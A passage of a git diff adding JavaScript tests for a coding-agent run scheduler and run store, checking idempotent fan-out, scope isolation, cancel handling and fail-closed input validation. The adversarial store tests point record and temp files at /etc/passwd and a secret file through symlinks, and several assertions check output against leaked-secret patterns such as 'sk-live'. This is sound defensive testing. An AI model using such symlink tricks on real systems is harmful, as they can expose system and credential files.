= createScopedStubs(); + const request = twoWriterRequest(); + request[key] = key === 'workspace_mode' ? 'direct' : true; + const error = await errorOf(() => harness.scheduler.submitAssignments(request)); + assert.equal(error.code, code, key); + assertContentFree(error); + assert.equal(harness.delegateCalls.length, 0); + } +}); + +test('nested forbidden keys inside an assignment fail closed before dispatch', async () => { + const harness = createScopedStubs(); + const request = { + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [{ + ...writerAssignment(), + retry: true, + }], + }; + const error = await errorOf(() => harness.scheduler.submitAssignments(request)); + assert.equal(error.code, 'replay_or_fallback_denied'); + assert.equal(harness.delegateCalls.length, 0); +}); + +test('unknown keys, latest identities, and nearby assignment ids are denied', async () => { + const extra = createScopedStubs(); + const extraError = await errorOf(() => extra.scheduler.submitAssignments({ + ...twoWriterRequest(), + latest: true, + })); + assert.equal(extraError.code, 'unknown_key'); + + const latestSha = createScopedStubs(); + const shaError = await errorOf(() => latestSha.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: 'latest', + assignments: [writerAssignment()], + })); + assert.equal(shaError.code, 'invalid_format'); + + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const unknown = await errorOf(() => harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: ['lane-alph'], + })); + assert.equal(unknown.code, 'assignment_id_unknown'); + assert.equal(harness.cancelCalls.length, 0); +}); + +test('unknown runs, cursor identity drift, and injected inspect failures stay isolated', async () => { + const unknown = createScopedStubs(); + const resumeError = await errorOf(() => unknown.scheduler.resumeAssignments({ run_id: RUN_ID })); + assert.equal(resumeError.code, 'scheduler_run_unknown'); + const cancelError = await errorOf(() => unknown.scheduler.cancelAssignments({ + run_id: RUN_ID, assignment_ids: [ASSIGNMENT_A], + })); + assert.equal(cancelError.code, 'scheduler_run_unknown'); + + const harness = createScopedStubs({ failInspectFor: [ASSIGNMENT_A] }); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const drifted = await errorOf(() => harness.scheduler.resumeAssignments({ + run_id: RUN_ID, + cursors: [{ assignment_id: ASSIGNMENT_A, task_id: 'other-task', event_cursor: '0' }], + })); + assert.equal(drifted.code, 'cursor_identity_mismatch'); + + const inspected = await harness.scheduler.resumeAssignments({ run_id: RUN_ID }); + const failed = inspected.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const live = inspected.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(failed.unresolved.code, 'inspect_failed'); + assert.equal(live.status, 'running'); + assert.equal(harness.delegateCalls.length, 2); +}); + +test('unconfirmed cancel records evidence and leaves other lanes running', async () => { + const harness = createScopedStubs({ failCancelFor: [ASSIGNMENT_A] }); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const receipt = await harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_A, ASSIGNMENT_B], + }); + const unconfirmed = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const confirmed = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(unconfirmed.cancel_confirmed, false); + assert.equal(unconfirmed.unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(confirmed.status, 'cancelled'); + assert.equal(confirmed.cancel_confirmed, true); + assert.equal(harness.cancelCalls.length, 2); + const serialized = JSON.stringify(receipt); + assert.doesNotMatch(serialized, /github_pat/u); +}); + +test('delegate failures stay content-free and do not leak stub secrets', async () => { + const harness = createScopedStubs({ failDelegateFor: [ASSIGNMENT_A] }); + const receipt = await harness.scheduler.submitAssignments(twoWriterRequest()); + const failed = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + assert.equal(failed.unresolved.code, 'dispatch_failed'); + const serialized = JSON.stringify(receipt); + assert.doesNotMatch(serialized, /sk-live/u); + assert.doesNotMatch(serialized, /ATTACKER-SECRET/u); + assert.doesNotMatch(serialized, /\/tmp\//u); +}); + +test('factory rejects missing, extra, and non-function dependencies', () => { + const error = (() => { + try { + createRunScheduler({}); + assert.fail('expected failure'); + } catch (caught) { + assert.ok(caught instanceof RunContractV1Error); + return caught; + } + return null; + })(); + assert.equal(error.code, 'injected_dependency_invalid'); + + const extra = (() => { + try { + createRunScheduler({ + delegateTask() {}, + inspectTask() {}, + cancelTask() {}, + clock() { return 0; }, + supervisor: HOSTILE_SECRET, + }); + assert.fail('expected failure'); + } catch (caught) { + return caught; + } + return null; + })(); + assert.equal(extra.code, 'unknown_key'); + assertContentFree(extra); + + const { proxy, counts } = countingProxy({ + delegateTask() {}, inspectTask() {}, cancelTask() {}, clock() { return 0; }, + }); + const proxied = (() => { + try { + createRunScheduler(proxy); + assert.fail('expected failure'); + } catch (caught) { + return caught; + } + return null; + })(); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); +}); + +test('invalid clocks, aliased graphs, and oversized collections fail closed', async () => { + const clock = createRunScheduler({ + delegateTask: async () => ({ task_id: TASK_A, cursor: '0', status: 'running' }), + inspectTask: async () => ({ task_id: TASK_A, status: 'running', cursor: '0' }), + cancelTask: async () => ({ task_id: TASK_A, cancelled: true }), + clock: () => 'soon', + }); + const clockError = await errorOf(() => clock.submitAssignments({ + run_id: RUN_ID, base_sha: BASE_SHA, assignments: [writerAssignment()], + })); + assert.equal(clockError.code, 'invalid_clock'); + + const harness = createScopedStubs(); + const assignment = writerAssignment(); + const aliased = { run_id: RUN_ID, base_sha: BASE_SHA, assignments: [assignment] }; + aliased.assignments.push(assignment); + const aliasedError = await errorOf(() => harness.scheduler.submitAssignments(aliased)); + assert.equal(aliasedError.code, 'aliased_reference_denied'); + assert.equal(harness.delegateCalls.length, 0); +}); + +test('oversized attention is dropped and malformed attention is unresolved', async () => { + const oversized = createScopedStubs({ + attentionByTask: { + [TASK_A]: { + session_id: 'sess-a', + question_id: 'q-a', + prompt: 'p'.repeat(5000), + options: ['continue'], + }, + }, + }); + await oversized.scheduler.submitAssignments(twoWriterRequest()); + const bounded = await oversized.scheduler.resumeAssignments({ run_id: RUN_ID }); + const grok = bounded.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + assert.equal(grok.attention.prompt, null); + assert.equal(grok.attention.reply_capability, 'same_session'); + + const malformed = createScopedStubs({ + attentionByTask: { + [TASK_A]: { prompt: HOSTILE_SECRET }, + }, + }); + await malformed.scheduler.submitAssignments(twoWriterRequest()); + const invalid = await malformed.scheduler.resumeAssignments({ run_id: RUN_ID }); + const lane = invalid.lanes.find((entry) => entry.assignment_id === ASSIGNMENT_A); + assert.equal(lane.unresolved.code, 'attention_evidence_invalid'); + const serialized = JSON.stringify(invalid); + assert.doesNotMatch(serialized, /sk-live/u); +}); + +test('resume and cancel never accept a second run identity or replay flag', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const replay = await errorOf(() => harness.scheduler.resumeAssignments({ + run_id: RUN_ID, + replay: true, + })); + assert.equal(replay.code, 'replay_or_fallback_denied'); + const cancelReplay = await errorOf(() => harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_A], + fallback: true, + })); + assert.equal(cancelReplay.code, 'replay_or_fallback_denied'); + assert.equal(harness.delegateCalls.length, 2); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-scheduler.test.mjs b/plugins/codex-co-engineer/test/r1-run-scheduler.test.mjs new file mode 100644 index 0000000..181367d --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-scheduler.test.mjs @@ -0,0 +1,524 @@ +// P33 RunSchedulerV1 focused coverage: one-submission 1-8 fanout, exact +// identity, disjoint writers / read-only verifiers, no replay or duplicate +// dispatch, unaffected lanes continue, and bounded attention/cancel/cursor +// evidence over injected task stubs. + +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_ASSIGNMENTS, + MIN_ASSIGNMENTS, + RUN_SCHEDULER_CHECKS, + RUN_SCHEDULER_DEPENDENCY_KEYS, + RUN_SCHEDULER_METHODS, + RUN_SCHEDULER_SCHEMA_ID, + RUN_SCHEDULER_SIDE_EFFECTS, + RUN_SCHEDULER_VERSION, + createRunScheduler, + describeRunSchedulerV1, +} from '../mcp/v3/run-scheduler.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + ASSIGNMENT_C, + BASE_SHA, + NOW, + RUN_ID, + TASK_A, + TASK_B, + TASK_C, + createScopedStubs, + eightLaneRequest, + mixedLaneRequest, + twoWriterRequest, + verifierAssignment, + writerAssignment, +} from './fixtures/r1-run-scheduler-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/run-scheduler.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertNonclaims(receipt) { + assert.equal(receipt.wake, false); + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.side_effects.duplicate_dispatch, false); + assert.equal(receipt.side_effects.replay, false); + assert.equal(receipt.side_effects.fallback, false); + assert.equal(receipt.side_effects.workspace_created, false); + assert.equal(receipt.side_effects.branch_or_ref_created, false); + assert.equal(receipt.side_effects.candidate_composed, false); + assert.equal(receipt.side_effects.server_cutover, false); + assert.equal(receipt.side_effects.remote_mutated, false); + for (const check of RUN_SCHEDULER_CHECKS) { + assert.equal(receipt.checks[check], true, check); + } +} + +test('RunSchedulerV1 is the frozen v1 contract with exact factory exports', () => { + assert.equal(RUN_SCHEDULER_SCHEMA_ID, 'codex-co-engineer.run-scheduler.v1'); + assert.equal(RUN_SCHEDULER_VERSION, 1); + assert.deepEqual([...RUN_SCHEDULER_METHODS], [ + 'submitAssignments', 'resumeAssignments', 'cancelAssignments', + ]); + assert.deepEqual([...RUN_SCHEDULER_DEPENDENCY_KEYS], [ + 'delegateTask', 'inspectTask', 'cancelTask', 'clock', + ]); + assert.equal(MIN_ASSIGNMENTS, 1); + assert.equal(MAX_ASSIGNMENTS, 8); + const inventory = describeRunSchedulerV1(); + assert.equal(inventory.schema, RUN_SCHEDULER_SCHEMA_ID); + assert.equal(inventory.rule, 'one_submission_idempotent_1_to_8_fanout_no_replay'); + assert.equal(inventory.wake, false); + assert.equal(inventory.remote_mutated, false); + assert.deepEqual([...inventory.ownership.forbidden], [ + 'run_runtime', + 'artifact_bridge', + 'lifecycle', + 'supervisor', + 'server', + 'candidate_composition', + 'mailbox', + 'provider_driver', + 'task_store', + 'changelog', + 'future_work', + 'gate_a', + 'release', + ]); + assert.deepEqual([...inventory.side_effects], [...RUN_SCHEDULER_SIDE_EFFECTS]); + assertFrozenTree(inventory); + const first = describeRunSchedulerV1(); + const second = describeRunSchedulerV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); +}); + +test('the scheduler module does not import runtime, artifact, lifecycle, or server paths', () => { + const source = readFileSync(MODULE_PATH, 'utf8'); + assert.match(source, /export function createRunScheduler/u); + assert.equal(source.includes('run-runtime.mjs'), false); + assert.equal(source.includes('run-artifact-bridge.mjs'), false); + assert.equal(source.includes('acp-worker.mjs'), false); + assert.equal(source.includes('process-boundary.mjs'), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); + assert.equal(source.includes('task-store.mjs'), false); + assert.equal(source.includes('mailbox.mjs'), false); + assert.equal(source.includes('run-candidate'), false); + assert.equal(source.includes('candidate-composer'), false); +}); + +test('createRunScheduler returns exactly the three injected methods', () => { + const harness = createScopedStubs(); + assert.deepEqual(Object.keys(harness.scheduler), [...RUN_SCHEDULER_METHODS]); + assert.equal(typeof harness.scheduler.submitAssignments, 'function'); + assert.equal(typeof harness.scheduler.resumeAssignments, 'function'); + assert.equal(typeof harness.scheduler.cancelAssignments, 'function'); + assert.ok(Object.isFrozen(harness.scheduler)); +}); + +test('one submission dispatches an independent 1-8 fanout exactly once', async () => { + const harness = createScopedStubs(); + const receipt = await harness.scheduler.submitAssignments(twoWriterRequest()); + assert.equal(receipt.schema, RUN_SCHEDULER_SCHEMA_ID); + assert.equal(receipt.status, 'dispatched'); + assert.equal(receipt.created, true); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.base_sha, BASE_SHA); + assert.equal(receipt.assignment_count, 2); + assert.equal(receipt.observed_at, NOW); + assert.equal(receipt.complete_candidate_blocked, false); + assert.equal(harness.delegateCalls.length, 2); + assert.deepEqual(harness.delegateCalls.map((call) => call.assignment_id).sort(), [ + ASSIGNMENT_A, ASSIGNMENT_B, + ]); + for (const call of harness.delegateCalls) { + assert.equal(call.run_id, RUN_ID); + assert.equal(Object.hasOwn(call, 'prompt'), false); + assert.equal(call.fallback, undefined); + } + for (const lane of receipt.lanes) { + assert.equal(lane.dispatched, true); + assert.equal(lane.replayed, false); + assert.equal(lane.fallback, false); + assert.equal(lane.status, 'running'); + } + assertNonclaims(receipt); + assertFrozenTree(receipt); +}); + +test('exact resubmit is idempotent and never redispatches', async () => { + const harness = createScopedStubs(); + const request = twoWriterRequest(); + const first = await harness.scheduler.submitAssignments(request); + const second = await harness.scheduler.submitAssignments(request); + assert.equal(first.status, 'dispatched'); + assert.equal(second.status, 'idempotent'); + assert.equal(second.created, false); + assert.equal(second.side_effects.task_dispatched, false); + assert.equal(harness.delegateCalls.length, 2); + assert.deepEqual(second.lanes.map((lane) => lane.task_id), first.lanes.map((lane) => lane.task_id)); + assertNonclaims(second); +}); + +test('concurrent exact submits dispatch each lane once', async () => { + const harness = createScopedStubs(); + const request = twoWriterRequest(); + const [left, right] = await Promise.all([ + harness.scheduler.submitAssignments(request), + harness.scheduler.submitAssignments(request), + ]); + const statuses = [left.status, right.status].sort(); + assert.deepEqual(statuses, ['dispatched', 'idempotent']); + assert.equal(harness.delegateCalls.length, 2); +}); + +test('a different body for the same run_id fails closed without a second dispatch', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const error = await errorOf(() => harness.scheduler.submitAssignments(mixedLaneRequest())); + assert.equal(error.code, 'scheduler_run_conflict'); + assert.equal(harness.delegateCalls.length, 2); +}); + +test('fanout 1 and 8 are accepted and 0 and 9 are denied before dispatch', async () => { + const one = createScopedStubs(); + const oneReceipt = await one.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment()], + }); + assert.equal(oneReceipt.assignment_count, 1); + assert.equal(one.delegateCalls.length, 1); + + const eight = createScopedStubs(); + const eightReceipt = await eight.scheduler.submitAssignments(eightLaneRequest()); + assert.equal(eightReceipt.assignment_count, 8); + assert.equal(eight.delegateCalls.length, 8); + + const empty = createScopedStubs(); + const emptyError = await errorOf(() => empty.scheduler.submitAssignments({ + run_id: RUN_ID, base_sha: BASE_SHA, assignments: [], + })); + assert.equal(emptyError.code, 'out_of_range'); + assert.equal(empty.delegateCalls.length, 0); + + const nine = createScopedStubs(); + const assignments = eightLaneRequest().assignments.concat(writerAssignment({ + assignmentId: 'lane-08', taskId: 'task-08', writeScope: ['src/area-8/**'], + })); + const nineError = await errorOf(() => nine.scheduler.submitAssignments({ + run_id: RUN_ID, base_sha: BASE_SHA, assignments, + })); + assert.equal(nineError.code, 'out_of_range'); + assert.equal(nine.delegateCalls.length, 0); +}); + +test('overlapping writer scopes fail closed; disjoint writers plus a read-only verifier pass', async () => { + const overlap = createScopedStubs(); + const overlapError = await errorOf(() => overlap.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [ + writerAssignment({ writeScope: ['src/shared/**'] }), + writerAssignment({ + assignmentId: ASSIGNMENT_B, taskId: TASK_B, writeScope: ['src/shared/util/**'], + }), + ], + })); + assert.equal(overlapError.code, 'overlapping_writer_scope'); + assert.equal(overlap.delegateCalls.length, 0); + + const mixed = createScopedStubs(); + const receipt = await mixed.scheduler.submitAssignments(mixedLaneRequest()); + assert.equal(receipt.assignment_count, 3); + const verifier = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_C); + assert.equal(verifier.access, 'read_only'); + assert.deepEqual([...verifier.write_scope], []); + assert.equal(mixed.delegateCalls.length, 3); +}); + +test('writer/read-only pairing is exact and verification scopes stay empty', async () => { + const role = createScopedStubs(); + const roleError = await errorOf(() => role.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [{ + ...writerAssignment(), + role: 'verify', + }], + })); + assert.equal(roleError.code, 'role_access_mismatch'); + + const scopedVerifier = createScopedStubs(); + const scopeError = await errorOf(() => scopedVerifier.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [{ + ...verifierAssignment(), + write_scope: ['src/alpha/**'], + }], + })); + assert.equal(scopeError.code, 'read_only_scope_denied'); + + const emptyWriter = createScopedStubs(); + const emptyError = await errorOf(() => emptyWriter.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment({ writeScope: [] })], + })); + assert.ok(emptyError.code === 'writer_scope_required' || emptyError.code === 'out_of_range'); + assert.equal(role.delegateCalls.length, 0); + assert.equal(scopedVerifier.delegateCalls.length, 0); + assert.equal(emptyWriter.delegateCalls.length, 0); +}); + +test('a failed lane does not replay and does not stop unaffected lanes', async () => { + const harness = createScopedStubs({ failDelegateFor: [ASSIGNMENT_B] }); + const receipt = await harness.scheduler.submitAssignments(mixedLaneRequest()); + assert.equal(receipt.status, 'partial'); + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(harness.delegateCalls.length, 3); + const failed = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + const live = receipt.lanes.filter((lane) => lane.assignment_id !== ASSIGNMENT_B); + assert.equal(failed.dispatched, false); + assert.equal(failed.unresolved.code, 'dispatch_failed'); + assert.equal(failed.replayed, false); + for (const lane of live) { + assert.equal(lane.dispatched, true); + assert.equal(lane.status, 'running'); + } + + const again = await harness.scheduler.submitAssignments(mixedLaneRequest()); + assert.equal(again.status, 'idempotent'); + assert.equal(harness.delegateCalls.length, 3); +}); + +test('optional failed lanes do not block a complete candidate', async () => { + const harness = createScopedStubs({ failDelegateFor: [ASSIGNMENT_B] }); + const receipt = await harness.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [ + writerAssignment(), + writerAssignment({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + writeScope: ['src/beta/**'], + required: false, + }), + ], + }); + assert.equal(receipt.status, 'partial'); + assert.equal(receipt.complete_candidate_blocked, false); + assert.equal(receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A).dispatched, true); +}); + +test('cancel names exact lanes and leaves unaffected lanes running', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(mixedLaneRequest()); + const receipt = await harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_B], + }); + assert.equal(receipt.status, 'cancelled'); + assert.equal(receipt.side_effects.task_cancelled, true); + assert.equal(harness.cancelCalls.length, 1); + assert.equal(harness.cancelCalls[0].assignment_id, ASSIGNMENT_B); + assert.equal(harness.cancelCalls[0].task_id, TASK_B); + const cancelled = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + const live = receipt.lanes.filter((lane) => lane.assignment_id !== ASSIGNMENT_B); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.cancel_confirmed, true); + for (const lane of live) { + assert.equal(lane.status, 'running'); + assert.equal(lane.cancel_confirmed, null); + } + assert.equal(receipt.wake, false); + assert.equal(receipt.complete_candidate_blocked, true); +}); + +test('resume projects cursor evidence and never redispatches', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const receipt = await harness.scheduler.resumeAssignments({ + run_id: RUN_ID, + cursors: [ + { assignment_id: ASSIGNMENT_A, task_id: TASK_A, event_cursor: '1' }, + ], + }); + assert.equal(receipt.status, 'inspected'); + assert.equal(harness.delegateCalls.length, 2); + assert.equal(harness.inspectCalls.length, 2); + assert.equal(harness.inspectCalls.find((call) => call.assignment_id === ASSIGNMENT_A).cursor, '1'); + for (const lane of receipt.lanes) { + assert.match(lane.cursor, /^[0-9]+$/u); + assert.equal(lane.replayed, false); + assert.equal(lane.dispatched, true); + } + assertNonclaims(receipt); +}); + +test('resume of a cancelled lane records restart evidence and does not replay', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + await harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_A], + }); + const receipt = await harness.scheduler.resumeAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_A, ASSIGNMENT_B], + }); + const cancelled = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const live = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.unresolved.code, 'restart_denied_no_replay'); + assert.equal(live.status, 'running'); + assert.equal(harness.delegateCalls.length, 2); + assert.equal(harness.inspectCalls.some((call) => call.assignment_id === ASSIGNMENT_A), false); +}); + +test('unsupported DSH or Cloud attention cancels only the affected lane', async () => { + const harness = createScopedStubs({ + attentionByTask: { + [TASK_B]: { + session_id: 'sess-dsh', + question_id: 'q-dsh', + prompt: 'DSH cannot host a same-session reply', + options: null, + }, + }, + }); + await harness.scheduler.submitAssignments(mixedLaneRequest()); + const receipt = await harness.scheduler.resumeAssignments({ run_id: RUN_ID }); + const dsh = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + const others = receipt.lanes.filter((lane) => lane.assignment_id !== ASSIGNMENT_B); + assert.equal(dsh.unresolved.code, 'same_session_reply_unsupported'); + assert.equal(dsh.status, 'cancelled'); + assert.equal(dsh.cancel_confirmed, true); + assert.equal(harness.cancelCalls.length, 1); + assert.equal(harness.cancelCalls[0].assignment_id, ASSIGNMENT_B); + for (const lane of others) { + assert.equal(lane.status, 'running'); + assert.equal(lane.cancel_confirmed, null); + } + assert.equal(receipt.wake, false); + assert.equal(receipt.complete_candidate_blocked, true); +}); + +test('same-session Grok attention is bounded evidence and does not wake', async () => { + const harness = createScopedStubs({ + attentionByTask: { + [TASK_A]: { + session_id: 'sess-a', + question_id: 'q-a', + prompt: 'Choose the next writer step', + options: ['continue', 'stop'], + }, + }, + inspectStatusByTask: { [TASK_A]: 'needs_attention' }, + }); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const receipt = await harness.scheduler.resumeAssignments({ run_id: RUN_ID }); + const grok = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const other = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(grok.status, 'needs_attention'); + assert.equal(grok.attention.reply_capability, 'same_session'); + assert.equal(grok.attention.prompt, 'Choose the next writer step'); + assert.equal(other.status, 'running'); + assert.equal(receipt.wake, false); + assert.equal(harness.cancelCalls.length, 0); +}); + +test('cursor-cloud lanes require an exact starting SHA; local lanes forbid one', async () => { + const local = createScopedStubs(); + const localError = await errorOf(() => local.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment({ startingRef: BASE_SHA })], + })); + assert.equal(localError.code, 'starting_ref_forbidden_local'); + + const missing = createScopedStubs(); + const missingError = await errorOf(() => missing.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment({ + provider: 'cursor-cloud', model: 'claude-sonnet-4-5', writeScope: ['src/cloud/**'], + })], + })); + assert.equal(missingError.code, 'cloud_starting_ref_required'); + + const cloud = createScopedStubs(); + const receipt = await cloud.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment({ + provider: 'cursor-cloud', + model: 'claude-sonnet-4-5', + writeScope: ['src/cloud/**'], + startingRef: BASE_SHA, + })], + }); + assert.equal(receipt.lanes[0].starting_ref, BASE_SHA); + assert.equal(receipt.lanes[0].provider, 'cursor-cloud'); +}); + +test('duplicate assignment or task identities fail closed', async () => { + const duplicateAssignment = createScopedStubs(); + const assignmentError = await errorOf(() => duplicateAssignment.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [ + writerAssignment(), + writerAssignment({ taskId: TASK_B, writeScope: ['src/beta/**'] }), + ], + })); + assert.equal(assignmentError.code, 'duplicate_assignment_id'); + + const duplicateTask = createScopedStubs(); + const taskError = await errorOf(() => duplicateTask.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [ + writerAssignment(), + writerAssignment({ assignmentId: ASSIGNMENT_B, writeScope: ['src/beta/**'] }), + ], + })); + assert.equal(taskError.code, 'duplicate_task_id'); + assert.equal(duplicateAssignment.delegateCalls.length, 0); + assert.equal(duplicateTask.delegateCalls.length, 0); +}); + +test('injected identity mismatch is per-lane and is never retried', async () => { + const harness = createScopedStubs({ mismatchDelegateFor: [ASSIGNMENT_A] }); + const receipt = await harness.scheduler.submitAssignments(twoWriterRequest()); + const mismatched = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const live = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(mismatched.unresolved.code, 'identity_mismatch'); + assert.equal(mismatched.dispatched, false); + assert.equal(live.dispatched, true); + const again = await harness.scheduler.submitAssignments(twoWriterRequest()); + assert.equal(again.status, 'idempotent'); + assert.equal(harness.delegateCalls.length, 2); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs new file mode 100644 index 0000000..e20e5a5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs @@ -0,0 +1,316 @@ +import assert from 'node:assert/strict'; +import { + chmod, + link, + lstat, + mkdir, + open, + readdir, + rm, + symlink, + truncate, + writeFile, +} from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_RUN_STORE_DIRECTORY_ENTRIES, + MAX_RUN_STORE_ENTRIES, + MAX_RUN_STORE_RECORD_BYTES, + openRunStore, +} from '../mcp/v3/run-store.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + RUN_ID, + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); +} + +async function withStore(fn) { + const root = await makePrivateRoot(); + try { + const store = await openRunStore(root); + return await fn(root, store); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('concurrent duplicate submissions preserve one authoritative record', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const results = await Promise.all(Array.from({ length: 8 }, () => store.submit(input))); + const created = results.filter((result) => result.created); + assert.equal(created.length, 1); + const digest = created[0].record.canonical_digest; + for (const result of results) { + assert.equal(result.record.canonical_digest, digest); + } + const names = await readdir(root); + assert.equal(names.filter((name) => name.endsWith('.json')).length, 1); + assert.equal(names.filter((name) => name.startsWith('k-')).length, 1); + assert.ok(!names.some((name) => name.startsWith('.tmp-'))); + }); +}); + +test('concurrent conflicting bodies serialize to one winner and typed conflicts', async () => { + await withStore(async (_root, store) => { + const first = makeSubmission(); + const second = makeSubmission({ + counters: { dispatch_calls: 0, wake_events: 4, outcome_events: 0 }, + }); + const results = await Promise.allSettled([ + store.submit(first), + store.submit(second), + store.submit(first), + store.submit(second), + ]); + const fulfilled = results.filter((result) => result.status === 'fulfilled').map((result) => result.value); + const rejected = results.filter((result) => result.status === 'rejected').map((result) => result.reason); + assert.ok(fulfilled.length >= 1); + assert.equal(new Set(fulfilled.map((result) => result.record.canonical_digest)).size, 1); + for (const error of rejected) { + assert.ok(error instanceof RunContractV1Error); + assert.ok(error.code === 'run_idempotency_conflict' || error.code === 'run_identity_conflict'); + } + }); +}); + +test('symlink root, record, and temporary names fail closed without following', async () => { + const parent = await makePrivateRoot('r1-run-store-sym-'); + try { + const real = path.join(parent, 'real'); + await mkdir(real, { mode: 0o700 }); + await chmod(real, 0o700); + const linked = path.join(parent, 'linked'); + await symlink(real, linked); + assert.equal((await errorOf(() => openRunStore(linked))).code, 'run_store_root_unsafe'); + + const store = await openRunStore(real); + await store.submit(makeSubmission()); + await rm(path.join(real, `${RUN_ID}.json`)); + await symlink('/etc/passwd', path.join(real, `${RUN_ID}.json`)); + const error = await errorOf(() => openRunStore(real)); + assert.ok(error.code === 'run_store_not_regular' || error.code === 'run_store_root_unsafe'); + assertNoSecret(error); + + const tempRoot = path.join(parent, 'temps'); + await mkdir(tempRoot, { mode: 0o700 }); + await chmod(tempRoot, 0o700); + const target = path.join(parent, 'secret-target'); + await writeFile(target, 'ATTACKER-SECRET', { mode: 0o600 }); + await symlink(target, path.join(tempRoot, 